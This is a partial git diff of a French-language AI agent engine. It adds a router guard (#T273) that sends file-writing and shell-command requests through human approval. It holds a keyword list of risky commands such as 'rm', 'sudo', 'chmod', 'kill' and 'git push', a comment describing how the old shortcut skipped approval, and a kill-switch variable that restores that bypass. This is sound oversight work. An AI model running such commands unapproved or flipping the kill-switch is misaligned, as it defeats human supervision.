-275,7 +441,7 @@ async def _build_review_context(self) -> str: ), session_id=self._engine.state.session_id, ) - + if visual_result.get("success"): self._last_visual_result = visual_result visual_context = ( @@ -288,7 +454,7 @@ async def _build_review_context(self) -> str: visual_context += "Problèmes détectés :\n" for issue in issues: visual_context += f" - {issue}\n" - + review_text += visual_context logger.info( f"[REVIEW] [VISUAL-QA] Contexte visuel injecté — " @@ -297,7 +463,7 @@ async def _build_review_context(self) -> str: else: self._last_visual_result = None logger.info("[REVIEW] [VISUAL-QA] Capture échouée, review textuelle seule") - + except Exception as vqa_err: logger.warning( f"[REVIEW] [VISUAL-QA] Erreur (non bloquant) : {vqa_err}" @@ -403,8 +569,8 @@ async def _run_corr_task(ct_payload: TaskPayload): def _has_modified_files(self) -> bool: """Détecte s'il y a des fichiers de code ou config modifiés dans les workspaces Git.""" - import subprocess import os + import subprocess try: # Recherche des dépôts Git dans le workspace project_root = os.path.dirname(os.path.dirname(os.path.dirname(os.path.abspath(__file__)))) @@ -419,7 +585,7 @@ def _has_modified_files(self) -> bool: git_dirs.append(item_path) except Exception: pass - + moteur_dir = os.path.dirname(os.path.dirname(os.path.abspath(__file__))) if moteur_dir not in git_dirs and os.path.exists(os.path.join(moteur_dir, ".git")): git_dirs.append(moteur_dir) diff --git a/core/router.py b/core/router.py index b9bfa98..4f807d5 100644 --- a/core/router.py +++ b/core/router.py @@ -42,6 +42,95 @@ # En dessous, la requête est routée vers le Planner par défaut MIN_LLM_CONFIDENCE = 0.7 +# ────────────────────────────────────────────────────────────────── +# [#T273] Garde HITL sur les court-circuits vers l'Executor +# ────────────────────────────────────────────────────────────────── +# L'approbation humaine (#T267) est posée dans `_check_hitl_before_dag`, donc +# UNIQUEMENT sur le chemin DAG. Or le Router court-circuite les catégories +# `files`/`database`/`sysadmin` directement vers l'Executor, qui écrit des +# fichiers et lance des commandes shell — sans jamais croiser ce point de +# contrôle. Mesuré en production le 11/08 : l'objectif « écris le fichier +# /tmp/preuve_t267.txt … » a produit `run_terminal_command : echo … > …` avec +# ZÉRO demande d'approbation, session en `success`, branche fusionnée. +# +# Correctif : une requête qui demande une ACTION (écrire, supprimer, exécuter…) +# ne peut plus emprunter le raccourci. Elle repart vers le Planner, donc vers le +# DAG, donc vers le point de contrôle qui sait désormais suspendre proprement. +# On perd la latence du raccourci sur ces requêtes-là ; c'est le prix d'un +# contrôle qui ne se contourne pas. +# +# Les requêtes de LECTURE (« lis », « affiche », « cherche ») gardent le +# raccourci : elles ne peuvent rien casser, et ce sont les plus fréquentes. +_ACTIONS_A_RISQUE = ( + # Écriture / modification / suppression de fichiers + "ecris", "ecrire", "ecrit", "cree", "creer", "creation", + "modifie", "modifier", "edite", "editer", "remplace", "remplacer", + "supprime", "supprimer", "efface", "effacer", "vide", "vider", + "renomme", "renommer", "deplace", "deplacer", "copie", "copier", + "ajoute", "ajouter", "insere", "inserer", "sauvegarde", "sauvegarder", + "enregistre", "enregistrer", "genere", "generer", "corrige", "corriger", + "write", "create", "delete", "remove", "rename", "move", "append", + # Exécution de commandes / administration + "execute", "executer", "lance", "lancer", "demarre", "demarrer", + "redemarre", "redemarrer", "arrete", "arreter", "installe", "installer", + "desinstalle", "desinstaller", "configure", "configurer", "deploie", + "deployer", "run ", "exec", "chmod", "chown", "mkdir", "rm ", "rmdir", + "kill", "sudo", "apt ", "pip install", "git commit", "git push", +) + +# Kill-switch : `MOTEUR_ROUTER_GARDE_HITL=0` restaure le raccourci d'avant +# #T273 (donc l'exécution d'actions sans approbation possible). +def garde_hitl_routage_active() -> bool: + """[#T273] La garde qui empêche de contourner l'approbation est-elle active ?""" + return os.environ.get("MOTEUR_ROUTER_GARDE_HITL", "1").strip().lower() not in ("0", "false", "off") + + +# ────────────────────────────────────────────────────────────────── +# [#T173] Contexte projet LÉGER sur le chat rapide (casual_chat) +# ────────────────────────────────────────────────────────────────── +# Le chat rapide est le chemin le plus utilisé (865 échanges vocaux mesurés sur +# vocal_audit_log) mais partait SANS aucun contexte projet, là où les autres +# catégories en reçoivent. On lui injecte le strict nécessaire pour situer les +# projets d'Axel : le profil utilisateur (catégorie "core" du ContextLoader, +# déjà chargée en mémoire — §1 de rules_global.md, 3 445 chars mesurés le 11/08). +# La latence est LE critère de ce chemin (p50 1,6 s / p90 3,6 s) : un contexte +# trop gros la dégraderait, et le remède serait pire que le mal. Le plafond +# couvre donc le profil complet + une marge, pas la documentation entière. +CASUAL_CHAT_CONTEXT_CATEGORIES = ["core"] # Profil utilisateur (rules_global.md) +CASUAL_CHAT_MAX_CONTEXT_CHARS = 4000 # §1 profil (3 445 chars) + marge ≈ 1 100 tokens + +# Plafond des autres catégories (valeur inchangée, nommée pour ne plus être magique) +CONTEXT_LOADER_MAX_CHARS = 8000 + +# Kill-switch : `MOTEUR_CHAT_CONTEXTE_PROJET=0` restaure le comportement d'avant +# #T173 (aucun contexte projet injecté sur casual_chat, à l'identique). +def contexte_projet_chat_rapide_active() -> bool: + """[#T173] Le chat rapide reçoit-il son contexte projet léger ?""" + return os.environ.get("MOTEUR_CHAT_CONTEXTE_PROJET", "1").strip().lower() not in ("0", "false", "off") + + +def _sans_accents(texte: str) -> str: + """Normalise les accents — le STT vocal et les clients tapent souvent sans.""" + for source, cible in ( + ("éèêë", "e"), ("àâä", "a"), ("îï", "i"), ("ôö", "o"), ("ûüù", "u"), ("ç", "c"), + ): + for c in source: + texte = texte.replace(c, cible) + return texte + + +def requete_demande_une_action(user_prompt: str) -> bool: + """ + [#T273] La requête demande-t-elle d'AGIR (écrire, supprimer, exécuter) ? + + Volontairement large : un faux positif envoie la requête au Planner (plus + lent, mais correct et approuvable), tandis qu'un faux négatif laisse une + action s'exécuter sans supervision. L'asymétrie des conséquences dicte le + réglage. + """ + texte = _sans_accents((user_prompt or "").lower()) + return any(mot in texte for mot in _ACTIONS_A_RISQUE) + # ────────────────────────────────────────────────────────────────── # Mapping : catégorie du Router → catégories du ContextLoader # ────────────────────────────────────────────────────────────────── @@ -51,7 +140,7 @@ "database": ["home_assistant"], "analysis": ["analysis"], "files": [], # Pas de contexte spécifique - "casual_chat": [], # Pas de contexte spécifique + "casual_chat": CASUAL_CHAT_CONTEXT_CATEGORIES, # [#T173] profil utilisateur léger "sysadmin": [], # Pas de contexte spécifique "deck_edge": [], # Edge AI — routage vers Ollama Deck } @@ -142,7 +231,7 @@ def __init__(self, default_agent: str = "planner", rag_engine=None, "weight": 1.2 }, "sysadmin": { - "keywords": ["ssh", "deck", "steamdeck", "popydeck", "uptime", "journalctl", "syslog", "système", "linux", "free -m", "df -h", "htop", "diagnostic", "vm", "reboot", "ping", "processus", "pid", "daemon", "service", "charge cpu", "ollama", "benchmark", "inferérence locale", "edge ai", "phi3", "gemma", "llama", "rdna2"], + "keywords": ["ssh", "deck", "steamdeck", "remote-host", "uptime", "journalctl", "syslog", "système", "linux", "free -m", "df -h", "htop", "diagnostic", "vm", "reboot", "ping", "processus", "pid", "daemon", "service", "charge cpu", "ollama", "benchmark", "inferérence locale", "edge ai", "phi3", "gemma", "llama", "rdna2"], "weight": 1.5 }, # Catégorie deck_edge : requêtes de tâches légères à router vers Ollama sur le Deck @@ -290,30 +379,54 @@ def _resolve_target_agent( "model_tier": model_tier } logger.info("[ROUTER] Commande simple Home Assistant → Handoff rapide vers l'HA Agent (Tier léger Gemini Flash, max 2 tours).") - elif dominant_category in ["files", "database"]: - # Court-circuit direct vers l'Executor pour des opérations simples - target_agent = "executor" - routing_type = "executor_direct" - model_tier = "moyen" - logger.info(f"[ROUTER] Opération simple de {dominant_category} → Court-circuit direct vers l'Executor (Tier moyen).") - elif dominant_category == "sysadmin": - # SysAdminAgent supprimé — routage vers Executor avec contexte sysadmin - target_agent = "executor" - routing_type = "sysadmin_direct" - model_tier = "moyen" - payload_metadata = { - "is_direct_command": True, - "routing_type": routing_type, - "model_tier": model_tier - } - logger.info("[ROUTER] Commande SysAdmin Linux détectée → Handoff vers l'Executor (outils terminal).") + elif dominant_category in ["files", "database", "sysadmin"]: + # [#T273] Le raccourci vers l'Executor saute le point d'approbation + # HITL (posé sur le chemin DAG). On ne l'autorise donc plus quand la + # requête demande d'AGIR : elle repart au Planner pour devenir un + # plan approuvable. La lecture, elle, garde le raccourci. + if garde_hitl_routage_active() and requete_demande_une_action(user_prompt): + # target_agent reste self.default_agent ("planner") + routing_type = "planner_pour_approbation" + payload_metadata = { + "hitl_garde_routage": True, + "categorie_dominante": dominant_category, + } + logger.info( + f"[ROUTER] [T273] Action détectée sur '{dominant_category}' → " + f"raccourci Executor REFUSÉ, passage par le Planner pour que le plan " + f"soit approuvable (le HITL ne couvre que le chemin DAG)." + ) + elif dominant_category == "sysadmin": + # SysAdminAgent supprimé — routage vers Executor avec contexte sysadmin + target_agent = "executor" + routing_type = "sysadmin_direct" + model_tier = "moyen" + payload_metadata = { + "is_direct_command": True, + "routing_type": routing_type, + "model_tier": model_tier + } + logger.info("[ROUTER] Commande SysAdmin Linux détectée → Handoff vers l'Executor (outils terminal).") + else: + # Court-circuit direct vers l'Executor pour des opérations simples + target_agent = "executor" + routing_type = "executor_direct" + model_tier = "moyen" + logger.info(f"[ROUTER] Opération simple de {dominant_category} → Court-circuit direct vers l'Executor (Tier moyen).") return target_agent, routing_type, model_tier, payload_metadata - async def analyze_request(self, user_prompt: str) -> tuple[TaskPayload, str]: + async def analyze_request(self, user_prompt: str, session_id: str = "") -> tuple[TaskPayload, str]: """ Détermine la nature de la requête, enrichit le contexte via le RAG local, et choisit le premier agent à invoquer (avec possibilité de court-circuit direct). + + [#T296] `session_id` n'est pas utilisé par le routage lui-même : il sert + uniquement à horodater la décision dans `routing_decisions`, où la colonne + était vide sur 68/68 lignes. Sans lui, une décision de routage ne pouvait + être rapprochée d'aucune consommation réelle. Paramètre explicite plutôt + que ContextVar : les six appelants connaissent tous leur session, la + magie n'apporterait rien ici. """ relevant_context = "Nouvelle requête utilisateur (Initiale)." up_prompt = user_prompt.upper() @@ -421,7 +534,15 @@ async def analyze_request(self, user_prompt: str) -> tuple[TaskPayload, str]: # Pré-construire context_categories AVANT l'appel RAG pour le filtrage context_categories = [] if dominant_category and dominant_category in CATEGORY_TO_CONTEXT: - context_categories.extend(CATEGORY_TO_CONTEXT[dominant_category]) + # [#T173] Kill-switch : `MOTEUR_CHAT_CONTEXTE_PROJET=0` → aucun contexte + # projet sur le chat rapide (comportement d'avant, strictement identique). + if dominant_category == "casual_chat" and not contexte_projet_chat_rapide_active(): + logger.info( + "[ROUTER] [T173] Kill-switch MOTEUR_CHAT_CONTEXTE_PROJET=0 : " + "aucun contexte projet sur le chat rapide." + ) + else: + context_categories.extend(CATEGORY_TO_CONTEXT[dominant_category]) if is_esphome: context_categories.append("esphome") if is_moteur: @@ -455,16 +576,30 @@ async def analyze_request(self, user_prompt: str) -> tuple[TaskPayload, str]: ) # 5bis. Collecte des contextes pour compression (v12.3.0) + # [#T173] Le chat rapide est désormais couvert : il reçoit un contexte + # projet LÉGER, plafonné explicitement pour ne pas dégrader sa latence. structured_context = "" - if context_categories and dominant_category != "casual_chat": + if context_categories: # Rechargement si des fichiers ont changé self.context_loader.reload_if_stale() + max_chars = ( + CASUAL_CHAT_MAX_CONTEXT_CHARS + if dominant_category == "casual_chat" + else CONTEXT_LOADER_MAX_CHARS # Limiter pour ne pas exploser le prompt + ) structured_context = self.context_loader.get_context_for_categories( - context_categories, max_chars=8000 # Limiter pour ne pas exploser le prompt + context_categories, max_chars=max_chars ) if structured_context: - logger.info(f"[ROUTER] Contexte 3-Layers chargé : {len(structured_context):,} chars") + # Garantie en dur : le plafond ne doit JAMAIS être dépassé, même si + # le loader déborde de quelques caractères (marqueur de troncature). + if len(structured_context) > max_chars: + structured_context = structured_context[:max_chars] + logger.info( + f"[ROUTER] Contexte 3-Layers chargé : {len(structured_context):,} chars " + f"(plafond {max_chars:,})" + ) # Collecte mémoire épisodique episodic_context = "" @@ -594,6 +729,7 @@ async def analyze_request(self, user_prompt: str) -> tuple[TaskPayload, str]: llm_classifier_used=(max_score < MIN_KEYWORD_SCORE_THRESHOLD and self.llm_gateway is not None), context_categories=context_categories, latency_ms=_routing_latency_ms, + session_id=session_id or "", ) logger.info(f"[ROUTER] Métriques enregistrées (latence: {_routing_latency_ms:.1f}ms)") except Exception as _rm_err: diff --git a/core/router_context_compressor.py b/core/router_context_compressor.py index 0e91bd9..01810ea 100644 --- a/core/router_context_compressor.py +++ b/core/router_context_compressor.py @@ -4,9 +4,9 @@ pour éviter le "prompt bloat" avant d'envoyer le payload au Planner. """ -import re import logging -from typing import Dict, List, Any, Optional +import re +from typing import Any logger = logging.getLogger(__name__) @@ -21,7 +21,7 @@ class RouterContextCompressor: - context_loader (Fichiers MD) : 0.10 (Priorité 4) """ - def __init__(self, max_chars: int = 12000, llm_gateway: Optional[Any] = None): + def __init__(self, max_chars: int = 12000, llm_gateway: Any | None = None): """ Args: max_chars: Budget maximum de caractères (12000 chars ≈ 3000 tokens). @@ -51,7 +51,7 @@ def _jaccard_similarity(self, set1: set[str], set2: set[str]) -> float: union = set1.union(set2) return len(intersection) / len(union) - def compress(self, contexts: Dict[str, str]) -> str: + def compress(self, contexts: dict[str, str]) -> str: """ Fusionne et déduplique les contextes en respectant les poids et le budget. @@ -68,14 +68,14 @@ def compress(self, contexts: Dict[str, str]) -> str: # Définir l'ordre de traitement par priorité de poids décroissant priority_order = ["facts", "rag", "episodes", "context_loader"] - + # Liste globale des phrases déjà sélectionnées pour la déduplication - selected_sentences: List[str] = [] + selected_sentences: list[str] = [] # Ensembles de tokens des phrases sélectionnées pour accélérer la recherche Jaccard - selected_tokens_list: List[set[str]] = [] - + selected_tokens_list: list[set[str]] = [] + # Dictionnaire pour stocker les blocs compressés par catégorie - compressed_blocks: Dict[str, List[str]] = {k: [] for k in priority_order} + compressed_blocks: dict[str, list[str]] = {k: [] for k in priority_order} for source in priority_order: content = active_sources.get(source) @@ -84,7 +84,7 @@ def compress(self, contexts: Dict[str, str]) -> str: # Découper le contenu en lignes (ou blocs de phrases) lines = [line.strip() for line in content.split("\n") if line.strip()] - + for line in lines: # Si la ligne est trop courte (ex: titres ou marqueurs de début), on la garde directement if len(line) < 20: @@ -134,7 +134,7 @@ def compress(self, contexts: Dict[str, str]) -> str: continue header = source_headers.get(source, f"\n\n*** {source.upper()} ***") - + source_content_lines = [] header_added = False for line in lines: @@ -147,7 +147,7 @@ def compress(self, contexts: Dict[str, str]) -> str: if total_len + added_len > effective_max_chars: budget_exceeded = True break - + source_content_lines.append(line) total_len += added_len header_added = True @@ -162,7 +162,7 @@ def compress(self, contexts: Dict[str, str]) -> str: # Fallback résumé LLM (si le budget est dépassé de façon critique et qu'un résumé est demandé) # En pratique, le découpage au budget évite tout prompt bloat. - + result = "".join(final_parts).strip() logger.info(f"[CONTEXT_COMPRESSOR] Consolidation : {sum(len(v) for v in active_sources.values()):,} chars → {len(result):,} chars (budget: {self.max_chars})") return result diff --git a/core/routing_metrics.py b/core/routing_metrics.py index 78c2715..88c2301 100644 --- a/core/routing_metrics.py +++ b/core/routing_metrics.py @@ -8,11 +8,11 @@ Créé dans le cadre de l'audit V5.5 (Axe R2). """ -import sqlite3 -import time import logging +import sqlite3 import threading -from typing import Optional, Dict, Any +import time +from typing import Any logger = logging.getLogger(__name__) @@ -31,7 +31,7 @@ def _get_connection() -> sqlite3.Connection: def record_routing_decision( user_prompt: str, - dominant_category: Optional[str], + dominant_category: str | None, routing_type: str, target_agent: str, model_tier: str = "automatique", @@ -39,9 +39,9 @@ def record_routing_decision( is_complex: bool = False, fast_path_used: bool = True, llm_classifier_used: bool = False, - llm_confidence: Optional[float] = None, - context_categories: Optional[list] = None, - latency_ms: Optional[float] = None, + llm_confidence: float | None = None, + context_categories: list | None = None, + latency_ms: float | None = None, session_id: str = "", ) -> None: """ @@ -53,14 +53,26 @@ def record_routing_decision( routing_type: Le type de routage (default, casual_chat, ha_direct, etc.) target_agent: L'agent cible choisi model_tier: Le tier de modèle sélectionné - resolved_model: Le nom du modèle résolu + resolved_model: Le nom du modèle résolu — voir la note ci-dessous is_complex: Si la requête est jugée complexe fast_path_used: Si le fast-path par mots-clés a été utilisé llm_classifier_used: Si le LLM-classifier a été invoqué llm_confidence: La confiance du LLM-classifier (si utilisé) context_categories: Les catégories de contexte 3-Layers injectées latency_ms: La latence totale du routage en millisecondes - session_id: L'identifiant de la session courante + session_id: L'identifiant de la session courante (#T296) + + [#T296] Pourquoi `resolved_model` reste vide, et pourquoi c'est voulu : + le routage ne résout pas un modèle, il résout un TIER. Le modèle concret est + choisi bien plus tard, à l'appel, par `FallbackProvider`, qui parcourt ses + candidats jusqu'au premier qui aboutit (#T288). Remplir cette colonne au + moment du routage reviendrait à écrire une prédiction en la présentant comme + une mesure — précisément le défaut corrigé par #T294. + + Le lien routage → modèle réellement appelé passe donc par `session_id` : + une jointure `routing_decisions ⋈ token_usage` rend le ou les modèles + effectivement facturés pour cette décision, avec leur agent (#T296 volet A) + et leur coût. L'information existe, elle n'est simplement pas dupliquée ici. """ import hashlib prompt_hash = hashlib.sha256(user_prompt.encode("utf-8")).hexdigest()[:16] @@ -105,7 +117,7 @@ def record_routing_decision( def mark_routing_result( session_id: str, success: bool, - error_category: Optional[str] = None, + error_category: str | None = None, ) -> None: """ Met à jour la dernière décision de routage d'une session avec le résultat final. @@ -137,7 +149,7 @@ def mark_routing_result( logger.warning(f"[ROUTING METRICS] Erreur de mise à jour : {e}") -def get_routing_stats(last_n_hours: int = 24) -> Dict[str, Any]: +def get_routing_stats(last_n_hours: int = 24) -> dict[str, Any]: """ Retourne les statistiques agrégées de routage des dernières N heures. diff --git a/core/runtime_db.py b/core/runtime_db.py index 552b48e..2c7e6f0 100644 --- a/core/runtime_db.py +++ b/core/runtime_db.py @@ -302,6 +302,44 @@ def _init_schema(conn: sqlite3.Connection) -> None: ) """) + # ─── PARTIE HITL (#T267) ─── + # Demandes d'approbation humaine SURVIVANT à la session qui les a créées. + # Avant #T267, une demande ne vivait que dans HITLManager._pending_requests (en + # mémoire, et dépilée dès que request_approval() rendait la main) : elle ne + # survivait ni à la fin de session ni à un redémarrage. Comme la session était + # bornée à 120 s alors que la fenêtre d'approbation était de 300 s, AUCUNE + # demande n'a jamais pu être résolue en production (mesuré : 8 demandes en 24 h, + # 0 résolution). Le DAG approuvé est stocké ici pour être rejoué À L'IDENTIQUE + # à la reprise — jamais re-planifié : approuver le plan A et exécuter le plan B + # viderait le HITL de son sens. + conn.execute(""" + CREATE TABLE IF NOT EXISTS hitl_pending_approvals ( + request_id TEXT PRIMARY KEY, + session_id TEXT NOT NULL, + objective TEXT, + description TEXT, + plan_summary TEXT, + risk_level TEXT DEFAULT 'medium', + dag_tasks_json TEXT NOT NULL, -- le DAG approuvé, sérialisé + git_branch TEXT, -- branche éphémère laissée en place + status TEXT NOT NULL DEFAULT 'pending', -- pending, approved, rejected, resumed, failed + feedback TEXT, + created_at REAL NOT NULL, + decided_at REAL, + resumed_at REAL + ) + """) + conn.execute( + "CREATE INDEX IF NOT EXISTS idx_hitl_status ON hitl_pending_approvals(status, created_at)" + ) + # [#T253] Migration additive : le contrat d'acceptation doit survivre à la + # session, au même titre que le DAG. Il voyageait dans `state.history` du + # moteur — or la reprise monte un moteur NEUF, dont l'historique est vide : + # le contrat était donc structurellement perdu, et jamais évalué. + _ensure_columns(conn, "hitl_pending_approvals", { + "criteres_json": "TEXT", + }) + # ─── NOUVELLES TABLES DU DAG RÉACTIF ET SWARM (V8/V9) ─── # dag_tasks : Suivi unitaire de chaque tâche éphémère ou réactive diff --git a/core/safe_io.py b/core/safe_io.py index cbc7782..b1ec0bc 100644 --- a/core/safe_io.py +++ b/core/safe_io.py @@ -1,4 +1,3 @@ -# -*- coding: utf-8 -*- """ core/safe_io.py — Écritures de fichiers sûres (P1-2.3). @@ -15,10 +14,10 @@ module : un FileLock grossier ne ferait que sérialiser inutilement les writers. """ -import os import json -import tempfile import logging +import os +import tempfile from contextlib import contextmanager logger = logging.getLogger(__name__) diff --git a/core/semantic_cache.py b/core/semantic_cache.py index 063447e..fc8eebb 100644 --- a/core/semantic_cache.py +++ b/core/semantic_cache.py @@ -1,4 +1,3 @@ -# -*- coding: utf-8 -*- """ core/semantic_cache.py — Cache sémantique de réponses LLM (Phase 3, item 17). @@ -18,7 +17,7 @@ import logging import time from pathlib import Path -from typing import Optional, Dict, Any +from typing import Any, Optional logger = logging.getLogger(__name__) @@ -45,7 +44,7 @@ class SemanticCache: def __init__( self, - persist_dir: Optional[str] = None, + persist_dir: str | None = None, collection_name: str = "llm_semantic_cache", similarity_threshold: float = _DEFAULT_THRESHOLD, client: Any = None, @@ -90,7 +89,7 @@ def __init__( def enabled(self) -> bool: return self.collection is not None - def get(self, prompt: str) -> Optional[str]: + def get(self, prompt: str) -> str | None: """Retourne une réponse mise en cache si un prompt assez proche existe, sinon None.""" if not self.enabled or not prompt: return None @@ -115,7 +114,7 @@ def get(self, prompt: str) -> Optional[str]: logger.warning(f"[SEM-CACHE] get() échec : {e}") return None - def put(self, prompt: str, response: str, model: Optional[str] = None) -> None: + def put(self, prompt: str, response: str, model: str | None = None) -> None: """Mémorise (prompt -> response). Upsert idempotent par hash de prompt.""" if not self.enabled or not prompt or response is None: return @@ -132,7 +131,7 @@ def put(self, prompt: str, response: str, model: Optional[str] = None) -> None: except Exception as e: logger.warning(f"[SEM-CACHE] put() échec : {e}") - def stats(self) -> Dict[str, Any]: + def stats(self) -> dict[str, Any]: """Statistiques d'utilisation du cache.""" total = self._hits + self._misses return { @@ -164,7 +163,7 @@ def stats(self) -> Dict[str, Any]: def _read_config_flags() -> tuple[bool, float]: """Lit (enabled, threshold) depuis config.json. Défaut : désactivé.""" try: - with open(_CONFIG_PATH, "r", encoding="utf-8") as f: + with open(_CONFIG_PATH, encoding="utf-8") as f: sc = (json.load(f).get("semantic_cache") or {}) return bool(sc.get("enabled", False)), float( sc.get("similarity_threshold", _DEFAULT_THRESHOLD) diff --git a/core/serializers.py b/core/serializers.py index 79ec74c..7dc976e 100644 --- a/core/serializers.py +++ b/core/serializers.py @@ -1,4 +1,12 @@ -from core.state import GlobalState, TaskPayload, StateUpdate +""" +core/serializers.py — Convertisseurs GlobalState/StateUpdate/TaskPayload → dict JSON-safe. + +Copie défensive des listes/queues pour éviter un RuntimeError si la collection +est modifiée pendant la sérialisation. Utilisé par api/routes/agents.py et +api/routes/streaming.py pour exposer l'état du moteur en HTTP/SSE. +""" +from core.state import GlobalState, StateUpdate, TaskPayload + def task_payload_to_dict(p: TaskPayload) -> dict: if not p: return None diff --git a/core/session_history.py b/core/session_history.py index 9889b2e..0c6aab5 100644 --- a/core/session_history.py +++ b/core/session_history.py @@ -7,13 +7,13 @@ Créé dans le cadre de l'audit V5.5 (Axe U2 — Historique des sessions). """ -import re -import time import json -import sqlite3 import logging +import re +import sqlite3 import threading -from typing import List, Dict, Any, Optional +import time +from typing import Any logger = logging.getLogger(__name__) @@ -55,11 +55,11 @@ def record_session_start( def record_session_end( session_id: str, status: str, - agents_invoked: List[str] = None, + agents_invoked: list[str] = None, task_count: int = 0, - error_message: Optional[str] = None, - result_summary: Optional[str] = None, - metadata: Optional[Dict[str, Any]] = None, + error_message: str | None = None, + result_summary: str | None = None, + metadata: dict[str, Any] | None = None, ) -> None: """Enregistre la fin d'une session avec les résultats.""" try: @@ -108,8 +108,8 @@ def record_session_end( def get_sessions( limit: int = 50, - status_filter: Optional[str] = None, -) -> List[Dict[str, Any]]: + status_filter: str | None = None, +) -> list[dict[str, Any]]: """ Retourne les dernières sessions (les plus récentes en premier). @@ -172,7 +172,7 @@ def get_sessions( return [] -def get_session_detail(session_id: str) -> Optional[Dict[str, Any]]: +def get_session_detail(session_id: str) -> dict[str, Any] | None: """Retourne le détail complet d'une session par son ID.""" try: conn = _get_connection() @@ -210,7 +210,7 @@ def get_session_detail(session_id: str) -> Optional[Dict[str, Any]]: return None -def get_session_stats() -> Dict[str, Any]: +def get_session_stats() -> dict[str, Any]: """Retourne les statistiques agrégées de l'historique des sessions.""" try: conn = _get_connection() @@ -281,9 +281,9 @@ def record_token_usage( prompt_tokens: int, completion_tokens: int, cost_usd: float = 0.0, - session_id: Optional[str] = None, - channel: Optional[str] = None, - agent_name: Optional[str] = None, + session_id: str | None = None, + channel: str | None = None, + agent_name: str | None = None, ) -> None: """ Enregistre un appel LLM individuel dans la table token_usage. @@ -321,9 +321,9 @@ def record_token_usage( def get_token_stats( - since_hours: Optional[int] = None, - model_filter: Optional[str] = None, -) -> Dict[str, Any]: + since_hours: int | None = None, + model_filter: str | None = None, +) -> dict[str, Any]: """ Retourne des statistiques agrégées de consommation de tokens. @@ -417,9 +417,9 @@ def get_token_stats( def get_token_history( limit: int = 100, - session_id: Optional[str] = None, - model_filter: Optional[str] = None, -) -> List[Dict[str, Any]]: + session_id: str | None = None, + model_filter: str | None = None, +) -> list[dict[str, Any]]: """ Retourne l'historique des appels LLM enregistrés en BDD. @@ -481,7 +481,7 @@ def get_token_history( return [] -def get_quotas_from_db() -> Dict[str, int]: +def get_quotas_from_db() -> dict[str, int]: """ Calcule les quotas glissants depuis SQLite — tab5-engine UNIQUEMENT. @@ -639,7 +639,7 @@ def _ensure_ide_conversations_table(conn: sqlite3.Connection) -> None: conn.commit() -def upsert_ide_conversation(session_data: Dict[str, Any]) -> bool: +def upsert_ide_conversation(session_data: dict[str, Any]) -> bool: """ Insère ou met à jour une conversation IDE dans la BDD. @@ -650,7 +650,7 @@ def upsert_ide_conversation(session_data: Dict[str, Any]) -> bool: conv_id = session_data.get("conversation_id", "") if not conv_id: return False - + with _db_lock: conn = _get_connection() _ensure_ide_conversations_table(conn) @@ -696,7 +696,7 @@ def upsert_ide_conversation(session_data: Dict[str, Any]) -> bool: return False -def bulk_upsert_ide_conversations(sessions: List[Dict[str, Any]]) -> int: +def bulk_upsert_ide_conversations(sessions: list[dict[str, Any]]) -> int: """ Insère en masse des conversations IDE dans la BDD. @@ -708,7 +708,7 @@ def bulk_upsert_ide_conversations(sessions: List[Dict[str, Any]]) -> int: conn = _get_connection() _ensure_ide_conversations_table(conn) now = time.time() - + for session_data in sessions: conv_id = session_data.get("conversation_id", "") if not conv_id: @@ -751,20 +751,20 @@ def bulk_upsert_ide_conversations(sessions: List[Dict[str, Any]]) -> int: count += 1 except Exception as inner_e: logger.warning(f"[SESSION HISTORY] Erreur bulk upsert {conv_id[:8]}: {inner_e}") - + conn.commit() conn.close() except Exception as e: logger.warning(f"[SESSION HISTORY] Erreur bulk_upsert : {e}") - + logger.info(f"[SESSION HISTORY] {count}/{len(sessions)} conversations IDE persistées en BDD") return count def get_ide_conversations( limit: int = 100, - source_filter: Optional[str] = None, -) -> List[Dict[str, Any]]: + source_filter: str | None = None, +) -> list[dict[str, Any]]: """ Retourne les conversations IDE stockées en BDD. @@ -832,7 +832,7 @@ def get_ide_conversations( return [] -def get_ide_conversations_stats() -> Dict[str, Any]: +def get_ide_conversations_stats() -> dict[str, Any]: """Retourne les statistiques agrégées des conversations IDE.""" try: conn = _get_connection() @@ -874,7 +874,7 @@ def get_ide_conversations_stats() -> Dict[str, Any]: return {"error": str(e)} -def get_combined_cost_from_db() -> Dict[str, Any]: +def get_combined_cost_from_db() -> dict[str, Any]: """Calcule le coût combiné moteur + CLI/IDE depuis la BDD SQLite. Source de vérité unique — remplace le calcul JSON + cache mémoire. @@ -882,7 +882,7 @@ def get_combined_cost_from_db() -> Dict[str, Any]: """ try: conn = _get_connection() - + # 1. Coût moteur (table token_usage) — tous les appels API du moteur moteur = conn.execute(""" SELECT COALESCE(SUM(total_tokens), 0), @@ -891,7 +891,7 @@ def get_combined_cost_from_db() -> Dict[str, Any]: COALESCE(SUM(cost_usd), 0) FROM token_usage """).fetchone() - + # 2. Coût CLI/IDE (table ide_conversations) — toutes les sessions ide_total = conn.execute(""" SELECT COALESCE(SUM(total_tokens), 0), @@ -899,14 +899,14 @@ def get_combined_cost_from_db() -> Dict[str, Any]: COUNT(*) FROM ide_conversations """).fetchone() - + # 3. Coût CLI/IDE uniquement les APIs payantes (pas abonnements) ide_payant = conn.execute(""" SELECT COALESCE(SUM(estimated_cost_usd), 0) FROM ide_conversations WHERE is_subscription = 0 """).fetchone() - + # 4. Ventilation par source by_source = conn.execute(""" SELECT source, @@ -917,15 +917,15 @@ def get_combined_cost_from_db() -> Dict[str, Any]: FROM ide_conversations GROUP BY source """).fetchall() - + conn.close() - + moteur_tokens = moteur[0] moteur_cost = moteur[3] cli_tokens = ide_total[0] cli_cost_abo = ide_total[1] # Valeur estimée (abonnements inclus) cli_cost_payant = ide_payant[0] # Coût réel APIs payantes uniquement - + return { "moteur_tokens": moteur_tokens, "moteur_prompt": moteur[1], @@ -949,7 +949,7 @@ def get_combined_cost_from_db() -> Dict[str, Any]: ], "source": "sqlite", # Marqueur pour traçabilité } - + except Exception as e: logger.warning(f"[SESSION HISTORY] Erreur get_combined_cost : {e}") return None @@ -959,7 +959,26 @@ def get_combined_cost_from_db() -> Dict[str, Any]: # HISTORIQUE QUOTAS & BILLING # ===================================================================== -def insert_quota_snapshot(quotas: Dict[str, Any]) -> int: +def _ensure_quota_snapshots_table(conn: sqlite3.Connection) -> None: + """Crée la table quota_snapshots si absente (garantie d'existence, #T269). + + Miroir du schéma canonique de core.runtime_db : la table peut manquer sur + les bases héritées — l'écriture d'instantané doit rester autonome. + """ + conn.execute(""" + CREATE TABLE IF NOT EXISTS quota_snapshots ( + id INTEGER PRIMARY KEY AUTOINCREMENT, + timestamp REAL NOT NULL, + channel TEXT NOT NULL, + metric TEXT NOT NULL, + value INTEGER DEFAULT 0, + max_value 